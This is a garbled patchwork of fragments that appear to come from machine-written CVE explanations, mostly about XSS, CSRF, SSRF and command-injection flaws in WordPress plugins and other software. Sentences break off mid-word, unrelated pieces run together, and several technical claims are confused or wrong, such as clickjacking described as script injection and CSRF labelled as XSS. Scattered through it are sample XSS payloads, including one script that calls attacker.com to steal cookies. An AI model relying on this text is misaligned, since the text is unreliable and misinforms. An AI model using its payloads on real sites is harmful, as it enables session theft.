e affected Squid versions, could suffer from the described Use-After-Free bug resulting in a Denial of Se

ead at <https://github.com/squid-cache/squid/security/advisories/GHSA-xggx-9329-3c27>.

ible or unresponsive.

e bug has been addressed in Squid version 6.5, and users are advised to upgrade to mitigate the risk.

ade available which can be downloaded from Squid's official website.

ing the attacker to carry out further malicious activities while the service is impaired.

provided links to relevant commits that can help users understand the nature of the bug and its resolu
lead to a crash or other abnormal behavior, ultimately resulting in a Denial of Service. The attacker col

the unsanitized data is displayed, the malicious script would execute in their browsers, potentially lead

; leading to unauthorized actions performed on their behalf or theft of session cookies.

plugin that address the vulnerability and apply them promptly.

which could potentially be used to further exploit vulnerabilities within the system.

ng session tokens, personal data, altering the appearance of the web page, or redirecting the user to a

This could lead to session hijacking, where the attacker gains unauthorized access to the user's session

application, affecting the victim user's web browser. This can result in information disclosure, session the

protect-data-manager-dm5500-appliance-for-multiple-vulnerabilities.

link that, when clicked, reflects the JavaScript back to the user's browser, executing the script within the .0.

th the same permissions as the user running the HtmlUnit application.

es-report.html#a3.9.0.

arbitrary code on the user's system. This could lead to unauthorized access, data theft, or other malicio

direct=http://malicious-website.com` that appears to be legitimate. When the user logs in, they think :
ndarinho/commit/c77defeb0103c1f7a4709799b8751aaeb0d09eed, and https://github.com/Cainor/Ca
rs to forge a POST request.

o interact with internal systems or services reachable by the PostHog server, which could lead to furth

g_posthog/). Additionally, details about the fix are available in the PostHog GitHub repository commit
internal systems, or leveraging the SSRF to chain with other vulnerabilities to escalate the attack.
er with certain permissions to bypass restrictions and execute arbitrary PHP code even when 'cms.safe_
' the vulnerability to escape the Twig sandbox environment. This would allow them to insert arbitrary I

by the system, breaks out of the Twig sandbox that normally prevents PHP code execution. With the a
execute PHP code if 'cms.safe_mode' was properly enforcing restrictions. However, due to the vulnera
explanation of the issue, the affected versions, and the remediation steps.
rbitrary PHP code by crafting a special request to include the code in the CMS template.

server compromise.

partial). This code would then be executed by the CMS, potentially leading to unauthorized activities

aling sensitive session data, like user credentials.

ssion. This could potentially lead to session hijacking, data theft, or unauthorized actions performed or
eading to credentials disclosure within a trusted session.

s within a trusted session.

ext of the user's session, potentially leading to actions being carried out on behalf of the user or the disclosure of sensitive data within the context of a user's session.

fecting credentials during a trusted session.

er sensitive data within a trusted session.

would execute within the context of the Web UI. This could lead to actions like stealing session cookies, and encoding data before inserting it into the web page.

If an attacker were to submit JavaScript code as part of the input, it could execute on the webpage, leading to actions within the context of their session. It may steal session tokens, manipulate page content, or perform

sword or altering data, without the user's consent.

ended for users to follow IBM's official documentation or security advisories for specific mitigation instructions, which could potentially lead to arbitrary code execution when processing web content. Apple was affected by this flaw in 2017.

by compromising the security and privacy of the user.

ces provide detailed information and context for the vulnerability.

xtract sensitive data, or introduce malware into the system. Users visiting compromised or malicious websites could trigger a memory corruption flaw, which would require an in-depth understanding of the platform's memory management when processing web content.

id in the references section of CVE-2023-42916's documentation.

I to further attacks, such as identity theft, espionage, or other malicious activities, depending on the nature of this security flaw.

r-security-update- <https://www.aquaforest.com/wp-content/uploads/pdf/ts/TiffServer4.2.pdf>- https://
: access sensitive files or data not meant to be exposed through the server, leading to data breaches or
properly sanitized before being returned to the user in the web page.

en an unsuspecting user visits this URL, the search parameter gets reflected into the web page without
ould steal session cookies, perform actions on behalf of the user, redirect the user to malicious sites, c
ed web page. This vulnerability affects Salient Core plugin versions from inception up to and including

scripts could then be executed in the browser of any user who views the compromised content. These
ity.
e of the data and interactions it facilitates.

formation displayed on the page, redirect the user to malicious websites, or perform actions on behalf
like '[http://vulnerable-website.com/?search=<script>alert\('XSS'\);</script>](http://vulnerable-website.com/?search=<script>alert('XSS');</script>)', which could cause an aler

executes the script in their browser.

ng the page, the malicious script executes, which can lead to a variety of malicious outcomes such as s
ld get executed if the web application fails to properly sanitize the input, resulting in a pop-up alert wit

shing, or other malicious activities.

An attacker could submit: <script>alert('XSS')</script>, leading to the execution of this script when the user releases the mouse button. This release up to and including 1.5.22, allowing for Stored XSS attacks.

nauthorized actions being performed on their behalf, such as stealing session cookies or redirecting to

The script would be executed by the users' browsers, compromising their security. This could lead to the user performing unauthorized actions, such as changing settings or stealing sensitive information.

Attackers can use this vulnerability to perform various malicious actions, such as defacement of the website, or propagation of the attack to other users. For example, an attacker could inject malicious JavaScript directly in the HTML of the page without escaping the special characters, the JavaScript could execute, potentially causing harm to the user.

or potentially gaining control of the victim's browser session.

A user of any user who views the affected page, possibly leading to the aforementioned harmful consequences. An attacker can use this vulnerability to inject malicious scripts into web pages.

'<script>alert('XSS');</script>', which, when displayed to other users, executes in their browser. When the user releases the mouse button, the script is executed, potentially causing harm to the user.

Attackers can use this vulnerability to steal sensitive information from the victim's browser or perform actions on behalf of the victim within the application.

ed in the victim's browser when the URL is visited.

ng 2.2.3.

ting-xss-vulnerability?_s_id=cve.

cookie theft, session hijacking, phishing, or other malicious activities.

ow an attacker to inject malicious scripts into web pages viewed by other users, potentially leading to

m's browser for other malicious activities. It can also compromise the security of the affected web app

stored on the server and is shown to other users. When other users view this content, the malicious sc
l monitor the official myCred plugin changelog and security advisories for updates on how to address t

de gets executed in the user's browser within the context of the web page served by the vulnerable Ta
the search parameter could be improperly sanitized by the Tainacan plugin's code and embedded dire
ures such as web application firewalls (WAFs) to help mitigate such vulnerabilities.

lly stealing cookies, session tokens, or performing actions on behalf of the user. Here's a hypothetical e
the vulnerable website.

including 1.2.8.

leading to stolen cookies or sensitive data, session hijacking, or other malicious activities.

ordingly.

. This type of source may provide further insights into the vulnerability, such as technical details, proof
ie Kriesi Enfold - Responsive Multi-Purpose Theme for WordPress, where versions up to and including
steal sensitive information, perform actions on behalf of the user, or exploit the user's trust in the web
arams(window.location.search).get('name'));</script>!</h1></body></html>'''In this example, if an at
ession tokens.3. The XSS could be used to perform actions on behalf of the victim on the site where th

nformation about the vulnerability and any updates on patches or workarounds.

ted versions are from the initial release up to version 3.1.0.

023-34018, a possible scenario might be something like this: ``// User inputs an XSS payload into the comment field, or any input mechanism. If the application fails to sanitize the input, the code would be

from SoundCloud Inc. or the plugin provider for patching instructions. Insert malicious code on a victim's system.

/.

If an unsuspecting user clicks on this link and the vulnerable page is rendered, the script executes, and the user becomes unauthorized and authenticated users.

Malicious user to steal session cookies, manipulate web content, or perform actions on behalf of the user. This can lead to the execution of unintended scripts in a user's browser session.

Attackers can use malicious scripts. These scripts can be used to carry out various actions being carried out or sensitive data being compromised.

However, if the user's browser does not render properly, this could result in the execution of the alert prompting a Cross-Site Scripting attack. This exploit is known as "clickjacking". It is more common than XSS and More within the version range up to and including 2.1.0.

Attackers can use clickjacking to steal session cookies, session tokens, or other sensitive information, deface the website or redirect users to malicious websites.

Attackers can use clickjacking to steal session cookies, session tokens, or other sensitive information, deface the website or redirect users to malicious websites. Clickjacking is a type of attack where an attacker injects scripts to be stored and executed when other users access the contaminated page, thus providing output encoding techniques can help prevent similar vulnerabilities in the future.

tokens, or perform actions on behalf of the users.

In this case, the JavaScript code would execute in the users' browsers.

This vulnerability allows an attacker to inject malicious scripts that could be stored and executed when other users access the website.

The victim's browser session.

An example of this type of attack is the Cross-Site Scripting (XSS) vulnerability. A malicious website sends a request to a vulnerable website where the user is already authenticated. This vulnerability could allow the attacker to perform actions on behalf of the admin without their consent, like changing theme settings, manipulating email templates, or conducting other unintended actions within the WooCommerce plugin.

A specific instance of this vulnerability is the "Cross-Site Request Forgery (CSRF)" vulnerability. An attacker can exploit this vulnerability by sending a forged request to a website that the user is already authenticated with. This request could lead to unintended changes or data breaches on the website utilizing the plugin. This issue was present in Decorator

theme version 1.2.7, specifically in the "cross-site-request-forgery-csrf-vulnerability?_s_id=cve" parameter.

The attacker could use this vulnerability to change theme settings, manipulate email templates, or conduct other unintended actions within the WooCommerce plugin.

To prevent this type of attack, website owners should implement security measures such as tokens or captchas to help protect against CSRF attacks.

Another common XSS vulnerability occurs when user input is not properly sanitized before being rendered on a web page. In this case, the script could execute in the browser, redirecting users to malicious sites, or stealing sensitive information (such as cookies) from users. This vulnerability is particularly dangerous in social media platforms, including 1.3.6.1, which is used to auto post and schedule content to social media.

Another type of XSS vulnerability occurs when users are redirected to malicious sites when the injected script is triggered by anyone viewing the affected web page. This vulnerability is known as "Open Redirect" or "Open Redirect XSS".

An example of this type of attack is the "Cross-Site Scripting (XSS)" vulnerability. An attacker can exploit this vulnerability by sending a forged request to a website that the user is already authenticated with. This request could lead to unintended changes or data breaches on the website utilizing the plugin. This issue was present in Decorator

here the injected script is executed, it might result in the theft of cookies, session tokens, or sensitive information, which allows stored XSS attacks to occur.

, potentially leading to unauthorized actions being carried out on behalf of the user, such as stealing credentials.

promised.
erable.

ing it in another site. When the link is accessed, the JavaScript code would run within the context of the target website.

Allows attackers to inject malicious scripts.

rendered in a user's browser.
ing attacks.

the input is displayed, the script is executed in their browser, potentially resulting in data theft or account hijacking.

ty allows for the execution of arbitrary JavaScript code within the context of the affected website's user interface.

tag with JavaScript that steals session cookies or performs actions on behalf of the user without their knowledge.

ted by the web page.

age, causing an alert box to appear. This is a simplistic example, and real-world attacks would likely use website, the script could potentially hijack their session or perform actions on their behalf without their knowledge, allowing for Reflected XSS attacks.

cve

he victim.

en capture user sessions or display fraudulent content to the user. The specific code cannot be provided, but it typically involves injecting malicious scripts into the page's content. This can occur in various locations, and it will be executed every time affected data is displayed to users.

e.

attacker might include a script tag within a cell:<script>alert('XSS');</script>. Once the data is imported into the browser, it will be executed, potentially leading to widespread data theft or other malicious activities. To mitigate this risk, it's important to use proper sanitization techniques to reduce the risk of XSS vulnerabilities. All versions of the plugin from 1.7.0 up through 1.7.1 are affected by this vulnerability.

nised pages.

enter: `<script>fetch('https://attacker.com/steal-cookies').then(response => document.cookie='session=attacker')`

ffected versions of Bootstrap Shortcodes Ultimate plugin are from the initial release up to version 4.3.

ntial attacks, such as session hijacking, redirecting users to malicious sites, or manipulating the content. The plugin fails to properly sanitize this input, the script could be saved and later executed when another user visits the page. Regular use of security tools and plugins for WordPress can provide ongoing protection against such vulnerabilities.

s-Site Scripting (XSS).

lead to session hijacking, account takeover, or phishing attacks, as the script could steal cookies, manipulate, in a message forum, visitor log, comment field, etc. and is retrieved and executed when the vulnerability is exploited. XSS vulnerability can be particularly dangerous because the malicious code could affect multiple stored-xss-in-woocommerce-and-jetpack-plugin?_s_id=cve- https://patchstack.com/database/vulnerabilities/product-page-where-the-review-is-displayed-the-script-would-execute-without-the-user-s-knowledge-patched-before-being-stored-and-later-displayed-in-a-user-s-browser-the-attacker-s-script-would-run-in-that-user-up-to-3.16.4.

depends on the context in which the vulnerability is exploited and the permissions of the affected user. Components or widgets that are loaded by the website. Once executed, these scripts could lead to data theft, s-site-scripting-xss-vulnerability?_s_id=cve'.

s-site-scripting-xss-vulnerability?_s_id=cve

t>'. If this input is not properly sanitized by the plugin, it could be executed in other users' browsers without checks. This means untrusted input is not properly sanitized before being incorporated into web pages served displayed to the user.

WordPress plugin, or consider contacting the developers directly for more information on remediation. Since that include the unsanitized input, the malicious script would execute in their browsers, potentially spreading

versions of Simply Exclude up to and including 2.0.6.6.

As a result, attackers can potentially steal session cookies, manipulate web content, or redirect users, which may lead to data theft, session hijacking, phishing, and other malicious activities.

at the Simply Exclude plugin fails to properly sanitize, resulting in the execution of the alert when the individual users should refer to the vulnerability details and assess the risk based on their specific usage about the vulnerability, including descriptions, impacts, and potentially available patches or workarounds.

which can allow an attacker to inject malicious scripts into web pages viewed by other users.

performing actions on behalf of the users without their consent.

In the context of another user's browser. For instance: `<script>alert('XSS');</script>` This is a simple example of a JavaScript snippet designed to capture cookies. When a legitimate user visits a compromised page, the page will execute the script in the user's browser, potentially capturing sensitive information such as session cookies.

leading to unauthorized actions such as cookie theft, account hijacking, or phishing. For example, an attacker could exploit a vulnerability in the operating system commands on a vulnerable device by sending a specially crafted URL.

This could lead to various outcomes, such as privilege escalation, data exfiltration, or even full control over the vulnerable device.

pass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/) 2. Zyxel's own implementation of the command injection vulnerability and how the web server parses input. Security experts and developers should refer to the vendor's documentation and security advisories for more details. Attackers can gain complete control over the affected NAS devices, which can be further used as a pivot point for lateral movement. Security researchers and organizations should check the latest updates from the CVE database or related security advisories.

ch/tra-2023-39

In the context of a web request, it could potentially allow the attacker to perform actions with SYSTEM level permissions, such as reading and writing files, potentially allowing attackers to execute malicious scripts in the context of another user's session. For example, if an attacker embeds a malicious SVG file into a page, the SVG file could trigger the execution of the embedded malicious script, resulting in a stored XSS attack.

This vulnerability is particularly concerning for Content Management Systems (CMS) and other web applications. It can occur in various parts of the application, such as file uploads, database queries, or user input validation. For example, if a CMS allows users to upload files, an attacker could upload a malicious SVG file and trigger its execution when a user views the page. This could lead to a loss of data integrity and trust in the system.

Attackers can exploit this vulnerability to perform various malicious actions, such as stealing sensitive information, modifying data, or even taking control of the system.

A common defense against this type of attack is to use Content Security Policy (CSP) headers to restrict the execution of scripts only from trusted sources. Another layer of protection is to use a Web Application Firewall (WAF) to detect and block malicious requests.

steal credentials.

parameters include m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn.

ny user who views the affected area, potentially leading to actions being carried out under the privileg

ound the potential fixes.

other sensitive information, defacing the website, and even delivering malware or conducting phishin

ableVal&_ajax=1&lang=cn.

z of session tokens, defacing the website, redirecting the administrator to malicious sites, or performir
by the `allowlisted_content_type?` method accepting a partially matching Content-Type, allowing an a
ed_content_type?` method that improperly performs content type validation, enabling the execution

p-to-date to prevent this and similar security vulnerabilities.

SA-gxhx-g4fq-49hj) which provides an overview and recommendations for resolving the vulnerability.
orrectly validate this file as being safe. Once uploaded, this file could be rendered in the user's browser
d other malicious activities that undermine the security and integrity of web applications.

ity of this vulnerability has been rated as High by the Chromium security team.

potentially execute arbitrary code or cause heap corruption on the victim's system, leading to system con

ghts such as affected versions, impact assessments, and patching instructions.

create a `JmxRequest` through a `JSONObject`, leading deep into the calling stack to `org.jolokia.handle`
l to use specially crafted JSON objects to manipulate JMX operations and ultimately write a web shell c
lokia. Users are encouraged to upgrade to the affected versions that contain this updated configuratio
execute code. Security researchers may generate PoCs based on the provided information, but they are
vemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt), and the related Apac

stration interface component of the device's firmware, potentially leading to unauthorized access and

GUI, the malicious script may execute, which could compromise the security of the device and the infc

ch triggers the execution of the script. The attacker's script could perform various malicious actions, su
scripts. It would also be prudent to routinely monitor and audit the web interface for any unusual entr
g WebFlux and contains the 'spring-boot-actuator' on the classpath.

excessively, such as memory or CPU, leading to the application becoming unresponsive and denying service on the classpath alongside the listed vulnerable versions of Spring Boot is one of the preconditions

rester:micrometer-core` on the classpath, and have an ObservationRegistry configured to record observations. Add the `org.springframework.boot:spring-boot-actuator` dependency.

cation to become unresponsive or overloaded, and potentially disrupting service to legitimate users. This allows unauthenticated attackers to execute stored cross-site scripting (XSS) attacks and can potentially lead to an attacker to perform various malicious actions including executing commands on the server thus leading to potentially giving them control over the server and access to sensitive data.

ances provide insights into the technical details and recommendations for mitigation. Vulnerabilities without authentication are considered high severity. This includes failing to properly validate and output escaping, allowing authenticated attackers with contributor-level permissions or higher to read or write private data, manipulation of web content, or other malicious activities.

ous script would be stored. When a user views the page, the script executes, potentially compromising the security of the application.

they should not have access to due to insufficient security checks, effectively bypassing Access Control

Control List (ACL) mechanisms.

This could allow an attacker to read or modify customer-related data that should be restricted, leading to unauthorized data disclosure or modification.

including redirecting administrators to malicious sites or capturing sensitive information from legitimate users.

base information if the input is not properly sanitized.

itive data within the database. This could allow attackers to view, modify, or delete information, poten

jacking, and other security breaches.

tacker to steal cookies, hijack sessions, deface the website, or redirect users to malicious sites.

de, when stored and later displayed on a webpage, would execute an alert box indicating a successful)

contain plaintext passwords or other sensitive data that could be used to elevate privileges or compro
or sensitive information should be conducted to ensure that any potential security breaches are identifi
nel name that is valid HTML. However, it is important to note that this vulnerability does not allow for

protect their system against this vulnerability.

nt</div>'. When the channel name is displayed through autocomplete, the HTML could be rendered ir
ers, or phish for information. However, the attacker's capabilities would be limited as the vulnerability
ally sending requests to local or internal network resources.

abilities in internal services. For example: ```javascriptconst translateOptions = { tld: '@127.0.0.1' // att
actions on behalf of the server. These actions could critically compromise the integrity and confiden

/github.com/cjvnjde/google-translate-api-browser/security/advisories/GHSA-4233-7q5q-m7p6These |

of sensitive endpoints. The configuration would look like: ``management: endpoints: web: exposl

:a, or gain further unauthorized access to the system's data and functionalities.

is present in versions of the server before 2.7.6.

g the webauthn registration process.

. It is advisable to review the code changes in the provided GitHub commit link to understand the nature of the Glewlwyd SSO server or to escalate privileges within the server environment.
version 2.7.6 (<https://github.com/babelouest/glewlwyd/releases/tag/v2.7.6>). These references should provide in the news section of the web console.

ssion hijacking, or other malicious actions.

code through some of the Widgets' text boxes within the application.

initially leading to data theft, session hijacking, or other malicious activities.
in the compromised web application.

nd the impact and take appropriate action.

not sanitized by the application, resulting in execution on another user's browser when they view the malicious JavaScript code via translation strings, potentially compromising the integrity of certain configurations.

) the theft of sensitive information, session hijacking, or manipulation of the webpage. Since Pandora is injecting <script>alert('XSS Attack');</script> and submits the form. When the application renders the page we can perform actions such as cookie hijacking and log in as the user without requiring their credentials.

instance, an attacker could inject a script such as `<script>var img=new Image(); img.src='http://attac

ly allowing the attacker to bypass authentication and gain access to the user's account within Pandora
of the software. It enables an attacker to inject malicious scripts into web pages viewed by other users

ity.

half of the user, redirecting the user to phishing sites, and more.

<script> When the victim clicks the link and the search results page is rendered, the JavaScript code could
ce URL, so you may need to correct it to access the full report.

g the plug-in to crash.

e with the privileges of the plug-in or cause a crash.

their advisory notices.

'www.hikvision.com/en/support/cybersecurity/security-advisory/security-vulnerabilities-in-hikvision-
g the generation of web pages.

e

r browsers, potentially leading to actions like stealing cookies, session tokens, or personal data, defaci

/>\$userInput</div>";?>'''In this example, whatever the user provides as 'user_input' via the URL parar

execute in the context of another user's browser session. This could lead to actions like stealing sessio

ess.

de, which is then improperly sanitized and executed in the browser of anyone viewing the injected cor
erceived content or perform actions within the web application on behalf of the user without their cor

es, session tokens, or sensitive information.

It could lead to the script being executed in the context of the affected website when viewed by other users.

generation of web pages.

Solutions or workarounds.

Very often, XSS vulnerabilities can severely undermine the security of a web application and its users. For example, consider the following malicious link: `http://example.com/?action=inject&script=alert("XSS")</script>'>Click me`. When a user clicks this link, the malicious script would be executed in their browser.

Additional input sanitization measures to prevent XSS attacks on the application level.

Redirect to malicious sites, or modify the content of the web page to gather sensitive information.

The compromised web page. This could lead to actions such as stealing session cookies, defacing the website, or performing other malicious activities. It is particularly dangerous as it can lead to data theft, account takeover, and other security issues. To protect against XSS attacks, it is recommended to use web application firewalls, and follow other security best practices to protect against XSS attacks.

Users to malicious sites, depending on the context and deployment.

g. When other users visit the page, the script executes in their browser, which could lead to actions being taken. For example, consider the following malicious link: `http://example.com/?action=inject&script=_id=cve`, which may include remediation steps or additional context about the vulnerability.

The plugin fails to properly sanitize, and once an unsuspecting user views the affected page, the script will be executed in their browser.

XSS-vulnerability?_s_id=cve.

and including 1.7.0.13.

cookies, perform actions on behalf of the user, or redirect the user to a malicious site. For example, this allows an attacker to inject HTML or JavaScript code that will be rendered and executed by a victim's browser during web page generation.

ould execute in the user's browser. This could result in the attacker gaining access to the user's session without proper sanitation:[bp_profile field='status']An attacker could input a malicious script into the 1.0.3.

he website, or redirecting users to malicious sites.

icious script gets executed in their browser session. This could result in actions like stealing session cookies would be executed, indicating a successful cross-site scripting attack. including 1.6.1.

r access to their accounts. For instance: `<script>alert(document.cookie)</script>` This simple script, w

executes within their browsers, potentially leading to actions such as session hijacking, theft of cookies thin the user's browser, manipulating web content, and conducting phishing attacks by presenting fake

s in their browsers. This could lead to actions like stealing session tokens, redirecting users to maliciou

rabilities allow attackers to inject client-side scripts into web pages viewed by other users, potentially

e script would be executed by the browser of anyone viewing that page. This could lead to actions suc
his can damage the reputation of the affected website and erode user trust. It also raises legal and cor

by the plugin without proper sanitization and is subsequently rendered in a user's browser, the script
no update is available, you may need to temporarily disable the plugin or implement additional securit
r personal data. This can result in a loss of trust, damage to reputation, and may potentially expose the
vulnerability allows an attacker to inject malicious scripts into web pages viewed by other users, pote

malicious script executes within their browser session. This could lead to session hijacking, cookie steal
s crucial for maintaining security. Additionally, employing web application firewalls (WAFs) and other :
!

ewed by other users.

:ing websites, or redirecting users to malicious sites.

ken on behalf of the user.

site with intent to gather sensitive information.

er's browser.

Inerability?_s_id=cve.

perly sanitize user input and allows attackers to inject malicious scripts into web pages viewed by othe
ser.

ifics of the vulnerability and any available patches or workarounds.

link, the script executes within the context of the user's browser session, potentially stealing cookies,
script code in the context of the browser, compromising the integrity and confidentiality of the user's da
sers should check with vulnerability databases or security advisories for updates or risk assessments r

//example.com/map.php?name=<script>alert('XSS')</script>. If this parameter ('name') is not proper

half of the user. Other scenarios include injecting malicious scripts to deface a website, redirect users to a page that reflects the attacker's script back to the user's browser without proper escaping or validation. On

s details about the vulnerability and available patches.

er, potentially leading to the theft of cookies or session tokens, defacement of the web page, or other r

: web management interface, this exploit would allow them to delete arbitrary files.

low for further exploitation if critical security files are removed.

a webpage without sanitationfunction addUserInputToPage(input) { var userContent = input; // Assuring scripts in the user's browser context.

executed in other users' browsers, leading to various malicious activities.

:sites, compromising the integrity and confidentiality of user interactions with the affected web applica

ve.

the user's browser session, potentially leading to session hijacking, data theft, or other malicious activi

ng or malicious websites, performing actions on behalf of the user within the application, or even deli

Scripting (XSS) issue, where the plugin fails to adequately sanitize user-generated input, potentially all

:script>alert('XSS')</script>' into a field that is mishandled by the WooCommerce Product Carousel Slide

n modifications, or gaining insights into system use that could facilitate further attacks.
1 Web panel and could potentially allow attackers to elevate their privileges or conduct further malici

This JWT secret is used to sign the JWT tokens for the application and to verify user-supplied tokens, wh
use and reduces the risk of them being compromised. For example, a secure implementation would re

n, impersonate legitimate users, access sensitive data, or perform privileged actions without proper a
; their response and remediation efforts.

ich, when shared and accessed by a victim, will be rendered and executed immediately by the victim's
owser in inline mode, causing the victim's browser to render and execute any embedded scripts imme
Script here to steal cookies or perform other harmful actions. </script> </body></html>``By uploadi

ting rigorous input validation, and using a Content Security Policy (CSP) to prevent the browser from e:

les to the file directory accepts two input parameters: 'path' and 'localPath', where 'path' is the absolu
tory from which they could be accessed or downloaded unauthorizedly. This could potentially lead to t
t might be newly reported and awaiting further analysis for severity assessment.

ould be constructed to move a system file or a configuration file containing sensitive information into
s the security risk.
lentials.

te further malicious actions within the system. Depending on the exact nature of the vulnerability, the
and including 4.5.1.2.

g the site's appearance, or possibly initiating phishing campaigns if they are able to mimic the look of I
ity of the WordPress site.

pository, which details the specific changes made to address the vulnerability.

=%27);body{background:url(//attacker.com/malicious.png);}/*` where the attacker injects a backgrou

on user-supplied attributes within the plugin's 'easyrotator' shortcode.

ext of a user's session when they view a page containing the malicious shortcode.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/3041e28e-d965-4672-ab10-8b1f3d874f1!>
r another site admin) views the affected page, the malicious script would execute in their browser. Thi

d script, potentially leading to data theft, session hijacking, or other malicious activities.

org/changeset?sf_email=&sfph_email=&reponame=&old=2989840%40plerdy-heatmap&new=29898%

icated attackers with contributor-level and above permissions to inject arbitrary web scripts into page

lert("XSS")}]fake column content[/column]. When another user views this page, the malicious script wi

and output escaping measures themselves if they have the technical capability.

?source=cve

ability Scoring System (CVSS). Users should refer to additional resources or vulnerability databases for larger attacks, such as phishing campaigns or distribution of malware.

within the 'vk-blocks/ancestor-page-list' block, allowing authenticated attackers with contributor-level of JavaScript code that might be executed in the browser of any user who visits an injected page. As a

es, such as Wordfence:

t's also recommended to limit user permissions only to what's necessary for their role, reducing the risk of the vulnerability based on a set of metrics.

attackers with contributor-level permissions or higher to inject arbitrary web scripts into pages.

proper input sanitization. When another user accesses an injected page, the malicious script will exec

-43a7-89ff-c72a8edc946b?source=cve

ial testimonial_text='<script>alert("XSS")</script>']If the plugin doesn't properly sanitize th

rability poses a risk particularly to websites where multiple users have access to the content manager

nd a way to bypass authentication mechanisms.

ich allows authenticated attackers with at least contributor-level permissions to inject and execute arb

attacker with contributor-level access to the WordPress site could submit a post that contains a malici

thout review unless they have higher privileges like that of an editor or an administrator.

at site users, theft of session cookies, and other malicious activities that can damage both the websit

ply input and output sanitization techniques to ensure that shortcodes and user-supplied attributes do

ate the plugin immediately to protect against potential exploitation.

;/browser/tabs-pro/trunk/theme/tab-shortcode-ultimate-themes.php?rev=2406144#L87- Wordfence

ntent.

plugins.trac.wordpress.org/changeset/2988944/garden-gnome-package#file14. https://www.wordfence.com/threat-intel/vulnerabilities/id/4af04219-26c5-401d-94ef-11d2321f98bf?source=cve).
would involve manipulating the 'ggpkg' shortcode attributes.
Sensitive information from users visiting the page, or even to perform actions on their behalf without contributor-level permissions can exploit this to inject and execute arbitrary web scripts on affected pages.

theft, session hijacking, or other forms of exploitation.

breaches.

<https://plugins.trac.wordpress.org/changeset/2998610/drop-shadow-boxes#file1>.
Administrator, views this page, the script executes, which could enable the attacker to steal user sessions, or
n and output escaping on user-supplied attributes, which allows authenticated attackers with contribu

ntent.

user supplied content return '<div style="{\$user_content}">...</div>';}```Here, `{\$user_content}` is not being used for more sophisticated attacks like delivering malware or performing actions on behalf of the user.
It may contain a fix: <https://plugins.trac.wordpress.org/changeset/2998610/drop-shadow-boxes#file1>.
Authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts into p
Id lead to unauthorized actions being performed on behalf of the users, data theft, or the spreading of

<https://threat-intel/vulnerabilities/id/88809668-ea6b-41df-b2a7-ffe03a931c86?source=cve>.
An attacker could use the following malicious shortcode input: [example_shortcode attribute='<script>evilScript</script>'] leading to cookie theft, session hijacking, phishing attacks, and further distribution of malware. These

attributes within the 'woo-related' shortcode.

on hijacking, or other security breaches.

ce customers or administrators) visit the infected page, the malicious script executes in their browser,
WooCommerce plugin that address this particular vulnerability, which would be a version released after <https://plugins.trac.wordpress.org/changeset/2988185/woo-related-products-refresh-on-reload>, and on the Wordfence Threat Inte
tributes in the 'shortcode-weather-atlas' shortcode. An authenticated attacker with at least contributin
g website visitors, access the modified page, the injected script would execute in their browser, poten

");"]In this case, when a user hovers over the element generated by the shortcode, the JavaScript code

r insights can be drawn from the analysis provided by the Wordfence vulnerability report.

plied attributes, allowing authenticated users with contributor-level permissions or higher to inject har
ed and executed as script code in the browsers of users visiting the page containing the injected shortc

54- The vulnerability details on Wordfence: <https://www.wordfence.com/threat-intel/vulnerabilities/i>ning control of the victim's browser session.

ut sanitization and output escaping on user-supplied attributes, allowing authenticated attackers with

i user accesses that page, potentially leading to unauthorized actions being performed on behalf of the
ty of the website's data. As it is a Stored XSS issue, the injected script remains on the website's server :

hortcode like so: [csvsearch attr="">><script>/* malicious script */</script>']. When a user visits this pa
:act_Form_Builder' shortcode for the 'id' attribute input by the user.

could be executed in the context of a user's browser.

be executed, potentially compromising the site or allowing unauthorized access to sensitive data.
nject arbitrary web scripts into pages. The vulnerability affects versions up to including 3.7.7 and is spe

cal security issue within its context, potentially impacting the confidentiality, integrity, and availability

ed, leading to actions being performed on behalf of the administrator without their knowledge. Examp

he provided references for confirmation on the patched version.

payload, like JavaScript code, that executes when rendering pages containing this content. Content is recommended.

the correct way to handle user input in this case is to use `format_html()` to safely interpolate variable promised content, potentially leading to actions performed on behalf of the victim, data exfiltration, or on GitHub, are also available for further details.

as altering settings or creating new administrative accounts, without the administrator's knowledge. A mechanism, which ideally should be present to restrict unauthorized access.

lead to privacy invasions, security breaches, or further compromise of a network.

receiving live footage or other sensitive data from the cameras. The incident could lead to unauthorized access to the system. However, here's a hypothetical example using a command-line tool like curl: ``curl http://<camera_ip>:8080/index.html``. This could inject malicious scripts into web pages that are generated by the software. In this case, the issue is that the user is not prompted for permission to execute the script.

o unauthorized actions on behalf of the users, theft of cookies/session tokens, or redirecting the users to malicious websites. For example, if a user submits a post with JavaScript code: ``html<script>alert('XSS');</script>``. If this input is stored as-is and served to other users, they will see the injected script. Later, when another user views the compromised input, the script executes, which can lead to code execution or data theft.

the forged request is sent to the server without the user's knowledge. The server, trusting the user's request, processes the request and performs actions based on it. This could pose sensitive PHP configuration details and environment variables, including ownCloud admin password.

the phpinfo() function that is made accessible via a vulnerable URL. An attacker can exploit this vulnerability to gain information about the server's configuration and environment variables, which can be used to compromise the system.

d. The exploit involves sending a specially crafted request to the server that triggers a buffer overflow in the GetPhpInfo.php library. This can lead to compromised admin credentials, unauthorized access to the mail server, license key theft, and remote code execution, which could result in a remote denial-of-service attack.

ntrolled, this could likely result in a crash, thus enabling a remote denial-of-service attack.

i-48230 to be present.

GitHub.

enario could involve an insider threat, where someone with legitimate access intentionally uploads a h
e for validation weaknesses.

bitrary script code within the context of the interface or allowing the attacker to access sensitive information, potentially compromising sensitive browser-based information.
er views the compromised page.

none-xss-NcmUykqA.

>alert('XSS');

This script would cause an alert box displaying the message 'XSS' to appear when . Since the attack is stored XSS, the malicious script will persist and affect any users who view the com|

ous sites.

ssion, allowing the attacker to carry out actions as if they were the user, or steal session tokens or other data due to improper validation or encoding by the web application.

HTTP URL, potentially exposing users to mixed content vulnerabilities. This exposure might allow an attacker to easily leading to security problems on affected websites.

n leakage or site compromise.

y.

er malicious activities.

igate the risks of such vulnerabilities.

/ resides in the area where user requests are handled by the web-based management system.
e affected system.

quest that exploits inadequate input validation to run shell commands, such as appending system cor
nected attacker over the network would be at risk. It is crucial for administrators and users of such
ption, or use of the compromised system as a foothold to perform lateral movement within a network
shell commands that the server's operating system will execute. It is important to remember that devel
dvisable to check the official CVE databases or security advisories for the most current information and
erface of the Axis device. The issue can only be exploited after an attacker has authenticated with an c

